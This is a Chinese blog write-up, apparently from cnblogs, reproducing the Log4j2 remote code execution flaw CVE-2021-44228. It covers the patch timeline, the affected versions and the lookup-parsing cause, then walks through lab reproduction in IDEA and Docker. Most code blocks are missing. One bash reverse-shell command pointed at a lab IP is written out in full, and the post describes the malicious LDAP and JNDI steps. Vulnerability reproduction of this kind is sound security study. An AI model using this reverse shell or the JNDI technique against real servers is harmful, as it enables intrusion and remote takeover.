【漏洞复现】CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228。虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 Log4j团队认为默认启用 JNDI 存在安全风险,且2.15.0版本存在CVE-2021-45046漏洞。
12月13日:Apache Log4j2官方发布了Log4j 2.16.0版本(Java 8或更高版本),该版本删除了Message Lookups功能并默认禁用JNDI功能,并从该版本开始默认禁用JNDI功能,但可以通过将log4j2.enableJndi设置为 true 以启用 JNDI。此外,Log4j现在将协议默认限制为仅java、ldap和ldaps,并将ldap协议限制为只能访问Java原始对象。本地主机以外的主机需要被明确允许。
12月15日:Apache Log4j2官方发布了Apache Log4j 2.12.2版本,该版本修复了CVE-2021-44228和CVE-2021-45046,适用于仍在使用Java 7的用户。
1|0漏洞描述
Apache Log4j2是一个基于Java的日志记录框架。正常情况下,开发者可能会将错误信息写入日志中,可以利用此特点构造特殊的数据请求包,最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
2|0受影响版本
Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1
Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.
注意:2.15.0-rc1 rc1被绕过是说漏洞点确实可以被绕过,但是rc1已经默认了log4j2.formatMsgNoLookups为true 只要不是手贱那也没啥问题
3|0原理分析
该漏洞主要是由于日志在打印时当遇到“${”后,以“:”号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
漏洞点
4|0影响应用
5|0漏洞复现
5|1Idea搭建
新建maven工程,pom.xml中引入log4j2依赖:
Payload.java 注意区分大小写
该exp用于弹出计算器,验证命令执行效果。
test.java
手动将exp.java生成字节码文件,并通过python搭建简易web用于外部访问:
再开一个恶意的ldap服务:
运行test.java,可以看到ldap服务和web服务都有访问记录:
并且有计算器弹出来,命令执行成功:
并产生了一条错误日志
5|2docker复现
执行完以上操作,可以访问存在Apache Log4j远程代码执行漏洞,这里192.168.32.168的ip地址是我安装了docker虚拟机的ip地址,url如下:
由于该漏洞是jndi加载ldap协议就可以触发漏洞,使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行ldap协议监听,并提前输入好需要执行的命令,命令如下:
只要根据JDK的版本,提交不同的ldap
如果JDK 是1.7,可以使用
如果JDK 是1.8,可以使用
通过BurpSuite提交数据包,由于url只接受需POST数据,受影响的参数是c,在验证的时候,一定要加入
Content-Type:application/x-www-form-urlencoded;
已经接收到ldap协议数据
如果Apache Log4j远程代码执行漏洞成功,就会执行命令touch /tmp/88888888888,在tmp目录下建一个88888888888文件
进入docker环境漏洞靶场,查看命令是否执行成功,文件成功被创建
通过修改-C里面的命令内容,获取shell
对bash -i >& /dev/tcp/192.168.32.1/220>&1命令进行加密处理
成功获取shell。
__EOF__

本文链接:https://www.cnblogs.com/forforever/p/15703000.html
关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架